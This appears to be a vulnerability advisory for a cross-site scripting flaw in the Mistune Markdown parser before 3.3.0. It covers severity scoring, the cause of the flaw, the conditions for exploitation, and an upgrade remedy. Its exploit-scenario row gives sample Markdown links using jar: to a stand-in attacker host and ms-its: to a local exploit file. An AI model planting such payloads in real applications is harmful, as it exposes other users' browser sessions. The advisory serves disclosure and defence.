EUVD-2026-42336Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Network-delivered Markdown requires no privileges; victim interaction triggers scoped browser-side XSS with limited confidentiality and integrity impact, no availability loss.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Lifecycle Timeline
2DescriptionCVE.org
Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.3.0, the safe_url filter in src/mistune/renderers/html.py blocks only javascript:, vbscript:, file:, and data: schemes, allowing legacy or chained schemes such as feed:, view-source:, jar:, livescript:, mocha:, ms-its:, mk:, and res: to reach rendered href and src attributes and potentially execute script in affected user agents. This issue is fixed in version 3.3.0.
AnalysisAI
Cross-site scripting in Mistune prior to 3.3.0 stems from an incomplete URI scheme blocklist in the safe_url filter, permitting legacy and chained schemes (feed:, jar:, livescript:, mocha:, ms-its:, mk:, res:, view-source:) to pass unchecked into rendered href and src attributes. Any web application that accepts user-supplied Markdown, renders it via Mistune's HTML renderer, and serves the output to other users' browsers is exposed to stored or reflected XSS. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires three concurrent conditions: (1) the target application accepts Markdown input from untrusted or partially trusted users (e.g., comment fields, wikis, issue trackers, chat systems); (2) the Markdown is rendered using Mistune prior to 3.3.0 with the HTML renderer and `safe_url` as the sole URL sanitization control; and (3) the rendered HTML is served to other users' browsers - either as a shared page or via a reflected response. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 3.1 vector AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N scores 6.1 - a medium rating that is nonetheless meaningful due to the scope change flag indicating the attacker's payload executes outside the vulnerable component (i.e., in the victim's browser session). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker posts a forum comment or wiki page containing Markdown such as `[click here](jar:http://attacker.example/payload.jar!/exploit.html)` or `[visit](ms-its:C:\Windows\Help\exploit.chm::/page.htm)` to an application using Mistune prior to 3.3.0. The `safe_url` filter passes the URI unchanged, producing `<a href="jar:...">click here</a>` in the rendered HTML. … |
| Remediation | Upgrade Mistune to version 3.3.0 or later; this is the vendor-released patch that expands the `safe_url` blocklist to cover legacy and chained URI schemes. … Detailed patch versions, workarounds, and compensating controls in full report. |
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External POC / Exploit Code
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